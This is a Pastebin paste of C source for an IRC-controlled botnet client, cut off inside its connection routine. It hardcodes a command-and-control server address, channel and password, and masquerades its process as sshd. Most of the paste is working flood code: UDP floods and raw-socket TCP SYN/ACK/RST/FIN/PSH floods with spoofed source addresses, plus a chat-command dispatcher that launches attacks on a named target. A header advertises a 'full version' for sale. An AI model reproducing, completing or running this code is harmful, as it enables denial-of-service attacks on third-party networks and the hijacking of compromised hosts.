Advertisement
Guest User

Your mom 123

a guest
Dec 26th, 2017
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.56 KB | None | 0 0
  1. //
  2. // /$$ /$$ /$$ /$$ /$$$$$$ /$$
  3. // | $$ | $$ | $$ | $$ /$$__ $$ |__/
  4. // | $$ /$$$$$$ /$$$$$$ | $$ /$$ /$$$$$$ /$$$$$$$ | $$$$$$$ /$$ /$$ | $$ \__/ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$$$$$$ /$$$$$$
  5. // | $$ /$$__ $$ |____ $$| $$ /$$/ /$$__ $$ /$$__ $$ | $$__ $$| $$ | $$ | $$ /$$__ $$ /$$_____/ |____ $$| $$| $$__ $$ |____ $$
  6. // | $$ | $$$$$$$$ /$$$$$$$| $$$$$$/ | $$$$$$$$| $$ | $$ | $$ \ $$| $$ | $$ | $$ | $$ \ $$| $$ /$$$$$$$| $$| $$ \ $$ /$$$$$$$
  7. // | $$ | $$_____/ /$$__ $$| $$_ $$ | $$_____/| $$ | $$ | $$ | $$| $$ | $$ | $$ $$| $$ | $$| $$ /$$__ $$| $$| $$ | $$ /$$__ $$
  8. // | $$$$$$$$| $$$$$$$| $$$$$$$| $$ \ $$| $$$$$$$| $$$$$$$ | $$$$$$$/| $$$$$$$ | $$$$$$/| $$$$$$/| $$$$$$$| $$$$$$$| $$| $$ | $$| $$$$$$$
  9. // ________/ \_______/ \_______/|__/ \__/ \_______/ \_______/ |_______/ \____ $$ \______/ \______/ \_______/ \_______/|__/|__/ |__/ \_______/
  10. // /$$ | $$
  11. // For full version contact me at Cocaina#1162 | $$$$$$/
  12. // \______/
  13. //
  14.  
  15. /********************************************************************\
  16. | CONFIGURE THESE |
  17. \********************************************************************/
  18.  
  19. // #### DEFAULT SETTINGS #### //
  20. int numservers=1;
  21. char *servers[] = {
  22. "46.166.185.62",
  23. (void*)0
  24. };
  25. static char *irc_port = ("6969");
  26. static char *irc_chan = ("#perl");
  27. char *admin = ("ZoneHax");
  28. char *bot_prefix = ("[VPS|420]");
  29.  
  30. // #### ATTACK MESSAGES #### //
  31. /* leave a space at the end of each msg for the ip address of the target */
  32. char *unk_msg = ("[UNK] Attacking");
  33. char *udp_msg = ("[UDP] Attacking");
  34. char *std_msg = ("[STD] Attacking");
  35. char *tcp_msg = ("[TCP] Attacking");
  36. char *syn_msg = ("[SYN] Attacking");
  37. char *ack_msg = ("[ACK] Attacking");
  38. char *fin_msg = ("[FIN] Attacking");
  39. char *rst_msg = ("[RST] Attacking");
  40. char *psh_msg = ("[PSH] Attacking");
  41.  
  42. // #### OTHER SETTINGS #### //
  43. #undef IDENT
  44. #define KEY "ZoneHax"
  45. #define PASS "ZoneHax"
  46. #define STARTUP
  47.  
  48.  
  49.  
  50.  
  51. /********************************************************************\
  52. | DO NOT EDIT UNLESS YOU GANGSTER AF |
  53. \********************************************************************/
  54. #define PREFIX ("%s",bot_prefix)
  55. #define PORT atol(irc_port)
  56. #define CHAN ("%s",irc_chan)
  57.  
  58. #define STD2_SIZE 50
  59. #define STD2_STRING "std"
  60. #define FAKENAME "/usr/bin/sshd"
  61.  
  62. #define PAD_RIGHT 1
  63. #define PAD_ZERO 2
  64. #define PRINT_BUF_LEN 12
  65. #define CMD_IAC 255
  66. #define CMD_WILL 251
  67. #define CMD_WONT 252
  68. #define CMD_DO 253
  69. #define CMD_DONT 254
  70. #define OPT_SGA 3
  71.  
  72. #include <stdlib.h>
  73. #include <stdarg.h>
  74. #include <stdio.h>
  75. #include <sys/socket.h>
  76. #include <sys/types.h>
  77. #include <netinet/in.h>
  78. #include <arpa/inet.h>
  79. #include <netdb.h>
  80. #include <signal.h>
  81. #include <strings.h>
  82. #include <string.h>
  83. #include <sys/utsname.h>
  84. #include <unistd.h>
  85. #include <fcntl.h>
  86. #include <errno.h>
  87. #include <netinet/ip.h>
  88. #include <netinet/udp.h>
  89. #include <netinet/tcp.h>
  90. #include <sys/wait.h>
  91. #include <sys/ioctl.h>
  92. #include <net/if.h>
  93.  
  94. int sock,changeservers=0;
  95. char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0;
  96. unsigned int *pids;
  97. unsigned long spoofs=0, spoofsm=0, numpids=0;
  98.  
  99. int strwildmatch(unsigned char* pattern, unsigned char* string) {
  100. switch((unsigned char)*pattern) {
  101. case '\0': return *string;
  102. case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  103. case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  104. case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  105. case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  106. case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  107. case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  108. case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  109. default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  110. }
  111. }
  112. int Send(int sock, char *words, ...) {
  113. static char textBuffer[1024];
  114. va_list args;
  115. va_start(args, words);
  116. vsprintf(textBuffer, words, args);
  117. va_end(args);
  118. return write(sock,textBuffer,strlen(textBuffer));
  119. }
  120. unsigned int host2ip(char *sender,char *hostname) {
  121. static struct in_addr i;
  122. struct hostent *h;
  123. if((i.s_addr = inet_addr(hostname)) == -1) {
  124. if((h = gethostbyname(hostname)) == NULL) {
  125. Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  126. exit(0);
  127. }
  128. bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  129. }
  130. return i.s_addr;
  131. }
  132. int mfork(char *sender) {
  133. unsigned int parent, *newpids, i;
  134. if (disabled == 1) {
  135. Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  136. return 1;
  137. }
  138. parent=fork();
  139. if (parent <= 0) return parent;
  140. numpids++;
  141. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  142. for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  143. newpids[numpids-1]=parent;
  144. free(pids);
  145. pids=newpids;
  146. return parent;
  147. }
  148. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  149. char *makestring() {
  150. char *tmp;
  151. int len=(rand()%5)+4,i;
  152. FILE *file;
  153. tmp=(char*)malloc(len+1);
  154. memset(tmp,0,len+1);
  155. char *pre;
  156. if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  157. else {
  158. int a=((rand()*rand())%45402)+1;
  159. char buf[1024];
  160. for (i=0;i<a;i++) fgets(buf,1024,file);
  161. memset(buf,0,1024);
  162. fgets(buf,1024,file);
  163. filter(buf);
  164. memcpy(tmp,buf,len);
  165. fclose(file);
  166. }
  167. return tmp;
  168. }
  169. void identd() {
  170. int sockname,sockfd,sin_size,tmpsock,i;
  171. struct sockaddr_in my_addr,their_addr;
  172. char szBuffer[1024];
  173. if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  174. my_addr.sin_family = AF_INET;
  175. my_addr.sin_port = htons(113);
  176. my_addr.sin_addr.s_addr = INADDR_ANY;
  177. memset(&(my_addr.sin_zero), 0, 8);
  178. if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  179. if (listen(sockfd, 1) == -1) return;
  180. if (fork() == 0) return;
  181. sin_size = sizeof(struct sockaddr_in);
  182. if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  183. for(;;) {
  184. fd_set bla;
  185. struct timeval timee;
  186. FD_ZERO(&bla);
  187. FD_SET(tmpsock,&bla);
  188. timee.tv_sec=timee.tv_usec=60;
  189. if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  190. if (FD_ISSET(tmpsock,&bla)) break;
  191. }
  192. i = recv(tmpsock,szBuffer,1024,0);
  193. if (i <= 0 || i >= 20) exit(0);
  194. szBuffer[i]=0;
  195. if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  196. if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  197. Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  198. close(tmpsock);
  199. close(sockfd);
  200. exit(0);
  201. }
  202. long pow(long a, long b) {
  203. if (b == 0) return 1;
  204. if (b == 1) return a;
  205. return a*pow(a,b-1);
  206. }
  207. u_short in_cksum(u_short *addr, int len) {
  208. register int nleft = len;
  209. register u_short *w = addr;
  210. register int sum = 0;
  211. u_short answer =0;
  212. while (nleft > 1) {
  213. sum += *w++;
  214. nleft -= 2;
  215. }
  216. if (nleft == 1) {
  217. *(u_char *)(&answer) = *(u_char *)w;
  218. sum += answer;
  219. }
  220. sum = (sum >> 16) + (sum & 0xffff);
  221. sum += (sum >> 16);
  222. answer = ~sum;
  223. return(answer);
  224. }
  225. unsigned long getspoof() {
  226. if (!spoofs) return rand();
  227. if (spoofsm == 1) return ntohl(spoofs);
  228. return ntohl(spoofs+(rand() % spoofsm)+1);
  229. }
  230. struct send_tcp {
  231. struct iphdr ip;
  232. struct tcphdr tcp;
  233. char buf[20];
  234. };
  235. struct pseudo_header {
  236. unsigned int source_address;
  237. unsigned int dest_address;
  238. unsigned char placeholder;
  239. unsigned char protocol;
  240. unsigned short tcp_length;
  241. struct tcphdr tcp;
  242. char buf[20];
  243. };
  244. int getHost(unsigned char *toGet, struct in_addr *i) {
  245. struct hostent *h;
  246. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  247. return 0;
  248. }
  249.  
  250.  
  251.  
  252.  
  253. /*
  254. //
  255. // /$$ /$$ /$$ /$$ /$$$$$$ /$$
  256. // | $$ | $$ | $$ | $$ /$$__ $$ |__/
  257. // | $$ /$$$$$$ /$$$$$$ | $$ /$$ /$$$$$$ /$$$$$$$ | $$$$$$$ /$$ /$$ | $$ \__/ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$$$$$$ /$$$$$$
  258. // | $$ /$$__ $$ |____ $$| $$ /$$/ /$$__ $$ /$$__ $$ | $$__ $$| $$ | $$ | $$ /$$__ $$ /$$_____/ |____ $$| $$| $$__ $$ |____ $$
  259. // | $$ | $$$$$$$$ /$$$$$$$| $$$$$$/ | $$$$$$$$| $$ | $$ | $$ \ $$| $$ | $$ | $$ | $$ \ $$| $$ /$$$$$$$| $$| $$ \ $$ /$$$$$$$
  260. // | $$ | $$_____/ /$$__ $$| $$_ $$ | $$_____/| $$ | $$ | $$ | $$| $$ | $$ | $$ $$| $$ | $$| $$ /$$__ $$| $$| $$ | $$ /$$__ $$
  261. // | $$$$$$$$| $$$$$$$| $$$$$$$| $$ \ $$| $$$$$$$| $$$$$$$ | $$$$$$$/| $$$$$$$ | $$$$$$/| $$$$$$/| $$$$$$$| $$$$$$$| $$| $$ | $$| $$$$$$$
  262. // ________/ \_______/ \_______/|__/ \__/ \_______/ \_______/ |_______/ \____ $$ \______/ \______/ \_______/ \_______/|__/|__/ |__/ \_______/
  263. // /$$ | $$
  264. // For full version contact me at Cocaina#1162 | $$$$$$/
  265. // \______/
  266. */
  267.  
  268.  
  269. // ***************************************************** \\
  270. // # STD FLOODER # \\
  271. // ***************************************************** \\*
  272. void std(int sock, char *sender, int argc, char **argv) {
  273. int flag=1,fd,i;
  274. unsigned long secs;
  275. struct hostent *hp;
  276. struct sockaddr_in in;
  277. time_t start=time(NULL);
  278. if (mfork(sender) != 0) return;
  279. if (argc < 2) {
  280. //Send(sock,"NOTICE %s :STD <target> <port> <secs>\n",sender);
  281. exit(1);
  282. }
  283. secs=atol(argv[3]);
  284. memset((void*)&in,0,sizeof(struct sockaddr_in));
  285. in.sin_addr.s_addr=host2ip(sender,argv[1]);
  286. in.sin_family = AF_INET;
  287. Send(sock,"NOTICE %s :%s %s\n",sender,std_msg,argv[1]);
  288. while(1) {
  289. in.sin_port = atol(argv[2]);
  290. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  291. else {
  292. flag=1;
  293. ioctl(fd,FIONBIO,&flag);
  294. sendto(fd,STD2_STRING,STD2_SIZE,0,(struct sockaddr*)&in,sizeof(in));
  295. close(fd);
  296. }
  297. if (i >= 50) {
  298. if (time(NULL) >= start+secs) break;
  299. i=0;
  300. }
  301. i++;
  302. }
  303. close(fd);
  304. exit(0);
  305. }
  306.  
  307.  
  308. // ***************************************************** \\
  309. // # UDP FLOODER # \\
  310. // ***************************************************** \\*
  311. void udp(int sock, char *sender, int argc, char **argv) {
  312. int flag=1,fd,i;
  313. unsigned long secs;
  314. char *buf=(char*)malloc(9216);
  315. struct hostent *hp;
  316. struct sockaddr_in in;
  317. time_t start=time(NULL);
  318. if (mfork(sender) != 0) return;
  319. if (argc < 2) {
  320. //Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
  321. exit(1);
  322. }
  323. secs=atol(argv[3]);
  324. memset((void*)&in,0,sizeof(struct sockaddr_in));
  325. in.sin_addr.s_addr=host2ip(sender,argv[1]);
  326. in.sin_family = AF_INET;
  327. Send(sock,"NOTICE %s :%s %s\n",sender,udp_msg,argv[1]);
  328. while(1) {
  329. in.sin_port = atol(argv[2]);
  330. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  331. else {
  332. flag=1;
  333. ioctl(fd,FIONBIO,&flag);
  334. sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  335. close(fd);
  336. }
  337. if (i >= 50) {
  338. if (time(NULL) >= start+secs) break;
  339. i=0;
  340. }
  341. i++;
  342. }
  343. close(fd);
  344. exit(0);
  345. }
  346.  
  347.  
  348. // ***************************************************** \\
  349. // # UNKNOWN FLOODER # \\
  350. // ***************************************************** \\*
  351. void unk(int sock, char *sender, int argc, char **argv) {
  352. int flag=1,fd,i;
  353. unsigned long secs;
  354. char *buf=(char*)malloc(9216);
  355. struct hostent *hp;
  356. struct sockaddr_in in;
  357. time_t start=time(NULL);
  358. if (mfork(sender) != 0) return;
  359. if (argc < 2) {
  360. //Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
  361. exit(1);
  362. }
  363. secs=atol(argv[2]);
  364. memset((void*)&in,0,sizeof(struct sockaddr_in));
  365. in.sin_addr.s_addr=host2ip(sender,argv[1]);
  366. in.sin_family = AF_INET;
  367. Send(sock,"NOTICE %s :%s %s\n",sender,unk_msg,argv[1]);
  368. while(1) {
  369. in.sin_port = rand();
  370. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  371. else {
  372. flag=1;
  373. ioctl(fd,FIONBIO,&flag);
  374. sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  375. close(fd);
  376. }
  377. if (i >= 50) {
  378. if (time(NULL) >= start+secs) break;
  379. i=0;
  380. }
  381. i++;
  382. }
  383. close(fd);
  384. exit(0);
  385. }
  386.  
  387.  
  388. // ***************************************************** \\
  389. // # TCP FLOODER # \\
  390. // ***************************************************** \\*
  391.  
  392. // #### TCP ATTACK DEPENDENCIES #### //
  393. struct in_addr ourIP;
  394. unsigned char macAddress[6] = {0};
  395. static uint32_t Q[4096], c = 362436;
  396. unsigned short csum (unsigned short *buf, int count)
  397. {
  398. register uint64_t sum = 0;
  399. while( count > 1 ) { sum += *buf++; count -= 2; }
  400. if(count > 0) { sum += *(unsigned char *)buf; }
  401. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  402. return (uint16_t)(~sum);
  403. }
  404. uint32_t rand_cmwc(void)
  405. {
  406. uint64_t t, a = 18782LL;
  407. static uint32_t i = 4095;
  408. uint32_t x, r = 0xfffffffe;
  409. i = (i + 1) & 4095;
  410. t = a * Q[i] + c;
  411. c = (uint32_t)(t >> 32);
  412. x = t + c;
  413. if (x < c) {
  414. x++;
  415. c++;
  416. }
  417. return (Q[i] = r - x);
  418. }
  419. in_addr_t getRandomIP(in_addr_t netmask)
  420. {
  421. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  422. return tmp ^ ( rand_cmwc() & ~netmask);
  423. }
  424. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  425. {
  426.  
  427. struct tcp_pseudo
  428. {
  429. unsigned long src_addr;
  430. unsigned long dst_addr;
  431. unsigned char zero;
  432. unsigned char proto;
  433. unsigned short length;
  434. } pseudohead;
  435. unsigned short total_len = iph->tot_len;
  436. pseudohead.src_addr=iph->saddr;
  437. pseudohead.dst_addr=iph->daddr;
  438. pseudohead.zero=0;
  439. pseudohead.proto=IPPROTO_TCP;
  440. pseudohead.length=htons(sizeof(struct tcphdr));
  441. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  442. unsigned short *tcp = malloc(totaltcp_len);
  443. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  444. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  445. unsigned short output = csum(tcp,totaltcp_len);
  446. free(tcp);
  447. return output;
  448. }
  449. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  450. {
  451. iph->ihl = 5;
  452. iph->version = 4;
  453. iph->tos = 0;
  454. iph->tot_len = sizeof(struct iphdr) + packetSize;
  455. iph->id = rand_cmwc();
  456. iph->frag_off = 0;
  457. iph->ttl = MAXTTL;
  458. iph->protocol = protocol;
  459. iph->check = 0;
  460. iph->saddr = source;
  461. iph->daddr = dest;
  462. }
  463. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  464. {
  465. int got = 1, total = 0;
  466. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  467.  
  468. return got == 0 ? NULL : buffer;
  469. }
  470. int getOurIP()
  471. {
  472. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  473. if(sock == -1) return 0;
  474.  
  475. struct sockaddr_in serv;
  476. memset(&serv, 0, sizeof(serv));
  477. serv.sin_family = AF_INET;
  478. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  479. serv.sin_port = htons(53);
  480.  
  481. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  482. if(err == -1) return 0;
  483.  
  484. struct sockaddr_in name;
  485. socklen_t namelen = sizeof(name);
  486. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  487. if(err == -1) return 0;
  488.  
  489. ourIP.s_addr = name.sin_addr.s_addr;
  490.  
  491. int cmdline = open("/proc/net/route", O_RDONLY);
  492. char linebuf[4096];
  493. while(fdgets(linebuf, 4096, cmdline) != NULL)
  494. {
  495. if(strstr(linebuf, "\t00000000\t") != NULL)
  496. {
  497. unsigned char *pos = linebuf;
  498. while(*pos != '\t') pos++;
  499. *pos = 0;
  500. break;
  501. }
  502. memset(linebuf, 0, 4096);
  503. }
  504. close(cmdline);
  505.  
  506. if(*linebuf)
  507. {
  508. int i;
  509. struct ifreq ifr;
  510. strcpy(ifr.ifr_name, linebuf);
  511. ioctl(sock, SIOCGIFHWADDR, &ifr);
  512. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  513. }
  514.  
  515. close(sock);
  516. }
  517.  
  518. // #### TCP ATTACK FUNCTION #### //
  519. void tcp(int sock, char *sender, int argc, char **argv)
  520. {
  521. if(argc < 7) {
  522. // do nothing
  523. } else {
  524. register unsigned int pollRegister;
  525. pollRegister = atol(argv[7]);
  526.  
  527. struct sockaddr_in dest_addr;
  528.  
  529. dest_addr.sin_family = AF_INET;
  530. if(atol(argv[2]) == 0) dest_addr.sin_port = rand_cmwc();
  531. else dest_addr.sin_port = atol(argv[2]);
  532. if(getHost(strdup(argv[1]), &dest_addr.sin_addr)) return;
  533. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  534.  
  535. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  536. if(!sockfd)
  537. {
  538. //sockprintf(mainCommSock, "Failed opening raw socket.");
  539. return;
  540. }
  541.  
  542. int tmp = 1;
  543. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  544. {
  545. //sockprintf(mainCommSock, "Failed setting raw headers mode.");
  546. return;
  547. }
  548.  
  549. in_addr_t netmask;
  550.  
  551. if ( atol(argv[4]) == 0 ) netmask = ( ~((in_addr_t) -1) );
  552. else netmask = ( ~((1 << (32 - atol(argv[4]))) - 1) );
  553.  
  554. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + atol(argv[6])];
  555. struct iphdr *iph = (struct iphdr *)packet;
  556. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  557.  
  558. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + atol(argv[6]));
  559.  
  560. tcph->source = rand_cmwc();
  561. tcph->seq = rand_cmwc();
  562. tcph->ack_seq = 0;
  563. tcph->doff = 5;
  564.  
  565. if(!strcmp(strdup(argv[5]), "all"))
  566. {
  567. tcph->syn = 1;
  568. tcph->rst = 1;
  569. tcph->fin = 1;
  570. tcph->ack = 1;
  571. tcph->psh = 1;
  572. Send(sock,"NOTICE %s :%s %s\n",sender,tcp_msg,argv[1]);
  573. } else {
  574. unsigned char *pch = strtok(strdup(argv[5]), ",");
  575. while(pch)
  576. {
  577. if(!strcmp(pch, "syn"))
  578. {
  579. tcph->syn = 1;
  580. Send(sock,"NOTICE %s :%s %s\n",sender,syn_msg,argv[1]);
  581. } else if(!strcmp(pch, "rst"))
  582. {
  583. tcph->rst = 1;
  584. Send(sock,"NOTICE %s :%s %s\n",sender,rst_msg,argv[1]);
  585. } else if(!strcmp(pch, "fin"))
  586. {
  587. tcph->fin = 1;
  588. Send(sock,"NOTICE %s :%s %s\n",sender,fin_msg,argv[1]);
  589. } else if(!strcmp(pch, "ack"))
  590. {
  591. tcph->ack = 1;
  592. Send(sock,"NOTICE %s :%s %s\n",sender,ack_msg,argv[1]);
  593. } else if(!strcmp(pch, "psh"))
  594. {
  595. tcph->psh = 1;
  596. Send(sock,"NOTICE %s :%s %s\n",sender,psh_msg,argv[1]);
  597. } else {
  598. //sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  599. }
  600. pch = strtok(NULL, ",");
  601. }
  602. }
  603.  
  604. tcph->window = rand_cmwc();
  605. tcph->check = 0;
  606. tcph->urg_ptr = 0;
  607. tcph->dest = (atol(argv[2]) == 0 ? rand_cmwc() : atol(argv[2]));
  608. tcph->check = tcpcsum(iph, tcph);
  609.  
  610. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  611.  
  612. int end = time(NULL) + atol(argv[3]);
  613. register unsigned int i = 0;
  614. while(1)
  615. {
  616. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  617.  
  618. iph->saddr = htonl( getRandomIP(netmask) );
  619. iph->id = rand_cmwc();
  620. tcph->seq = rand_cmwc();
  621. tcph->source = rand_cmwc();
  622. tcph->check = 0;
  623. tcph->check = tcpcsum(iph, tcph);
  624. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  625.  
  626. if(i == pollRegister)
  627. {
  628. if(time(NULL) > end) break;
  629. i = 0;
  630. continue;
  631. }
  632. i++;
  633. }
  634. }
  635. }
  636.  
  637. // ***************************************************** \\
  638. // # SERVER CHANGER # \\
  639. // ***************************************************** \\*
  640. void move(int sock, char *sender, int argc, char **argv) {
  641. if (argc < 1) {
  642. // do nothing
  643. } else {
  644. if(strcasecmp(admin,sender) == 0) {
  645. server = strdup(argv[1]);
  646. changeservers = 1;
  647. close(sock);
  648. } else {
  649. Send(sock,"PRIVMSG %s :You do not have permission to do this.\n", chan);
  650. }
  651. }
  652. }
  653.  
  654.  
  655. // ***************************************************** \\
  656. // # COMMAND LIST # \\
  657. // ***************************************************** \\*
  658. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  659. { "+std" , std },
  660. { "+udp" , udp },
  661. { "+unk" , unk },
  662. { "+tcp" , tcp },
  663.  
  664. { "+killattk" , stop },
  665.  
  666.  
  667. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  668.  
  669.  
  670.  
  671.  
  672.  
  673. /*
  674. /$$ /$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$ /$$ /$$
  675. | $$$ /$$$ /$$__ $$ | $$ | $$ /$$__ $$| $$ |__/ | $$
  676. | $$$$ /$$$$ /$$$$$$ /$$$$$$ /$$$$$$ | $$ \ $$ /$$$$$$ | $$$$$$$ /$$$$$$ /$$$$$$ | $$ \__/| $$$$$$$ /$$ /$$$$$$
  677. | $$ $$/$$ $$ /$$__ $$ /$$__ $$ /$$__ $$ | $$ | $$|_ $$_/ | $$__ $$ /$$__ $$ /$$__ $$ | $$$$$$ | $$__ $$| $$|_ $$_/
  678. | $$ $$$| $$| $$ \ $$| $$ \__/| $$$$$$$$ | $$ | $$ | $$ | $$ \ $$| $$$$$$$$| $$ \__/ \____ $$| $$ \ $$| $$ | $$
  679. | $$\ $ | $$| $$ | $$| $$ | $$_____/ | $$ | $$ | $$ /$$| $$ | $$| $$_____/| $$ /$$ \ $$| $$ | $$| $$ | $$ /$$
  680. | $$ \/ | $$| $$$$$$/| $$ | $$$$$$$ | $$$$$$/ | $$$$/| $$ | $$| $$$$$$$| $$ | $$$$$$/| $$ | $$| $$ | $$$$/
  681. |__/ |__/ \______/ |__/ \_______/ \______/ \___/ |__/ |__/ \_______/|__/ \______/ |__/ |__/|__/ \___/
  682. */
  683. void _PRIVMSG(int sock, char *sender, char *str) {
  684. int i;
  685. char *to, *message;
  686.  
  687. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  688. str[i]=0;
  689. to=str;
  690. message=str+i+2;
  691. for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  692. sender[i]=0;
  693. if (*message == '>' && !strcasecmp(to,chan)) {
  694. char *params[12], name[1024]={0};
  695. int num_params=0, m;
  696. message++;
  697. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  698. message[i]=0;
  699. if (strwildmatch(message,nick)) return;
  700. message+=i+1;
  701. m=strlen(message);
  702. for (i=0;i<m;i++) {
  703. if (*message == ' ' || *message == 0) break;
  704. name[i]=*message;
  705. message++;
  706. }
  707. for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  708. num_params++;
  709. if (num_params > 10) num_params=10;
  710. params[0]=name;
  711. params[num_params+1]="\0";
  712. m=1;
  713. while (*message != 0) {
  714. message++;
  715. if (m >= num_params) break;
  716. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  717. params[m]=(char*)malloc(i+1);
  718. strncpy(params[m],message,i);
  719. params[m][i]=0;
  720. m++;
  721. message+=i;
  722. }
  723. for (m=0; flooders[m].cmd != (char *)0; m++) {
  724. if (!strcasecmp(flooders[m].cmd,name)) {
  725. flooders[m].func(sock,sender,num_params-1,params);
  726. for (i=1;i<num_params;i++) free(params[i]);
  727. return;
  728. }
  729. }
  730. }
  731. }
  732. void _376(int sock, char *sender, char *str) {
  733. Send(sock,"MODE %s +pixB\n",nick);
  734. Send(sock,"JOIN %s :%s\n",chan,key);
  735. Send(sock,"WHO %s\n",nick);
  736. }
  737. void _PING(int sock, char *sender, char *str) {
  738.  
  739. Send(sock,"PONG %s\n",str);
  740.  
  741. }
  742.  
  743. void _352(int sock, char *sender, char *str) {
  744. int i,d;
  745. char *msg=str;
  746. struct hostent *hostm;
  747. unsigned long m;
  748. for (i=0,d=0;d<5;d++) {
  749. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  750. if (i == strlen(str)) return;
  751. }
  752. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  753. msg[i]=0;
  754. if (!strcasecmp(msg,nick) && !spoofsm) {
  755. msg=str;
  756. for (i=0,d=0;d<3;d++) {
  757. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  758. if (i == strlen(str)) return;
  759. }
  760. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  761. msg[i]=0;
  762. if ((m = inet_addr(msg)) == -1) {
  763. if ((hostm=gethostbyname(msg)) == NULL) {
  764. //Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  765. return;
  766. }
  767. memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  768. }
  769. ((char*)&spoofs)[3]=((char*)&m)[0];
  770. ((char*)&spoofs)[2]=((char*)&m)[1];
  771. ((char*)&spoofs)[1]=((char*)&m)[2];
  772. ((char*)&spoofs)[0]=0;
  773. spoofsm=256;
  774. }
  775. }
  776. void _433(int sock, char *sender, char *str) {
  777. free(nick);
  778. char tempnick[50];
  779. char *strpref = PREFIX;
  780. char *genname = makestring();
  781. strcpy(tempnick,strpref);
  782. strcat(tempnick,genname);
  783. nick=tempnick;
  784. }
  785.  
  786. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  787. { "352", _352 },
  788. { "376", _376 },
  789. { "433", _433 },
  790. { "422", _376 },
  791. { "PRIVMSG", _PRIVMSG },
  792. { "PING", _PING },
  793. { (char *)0, (void (*)(int,char *,char *))0 } };
  794. void con() {
  795. struct sockaddr_in srv;
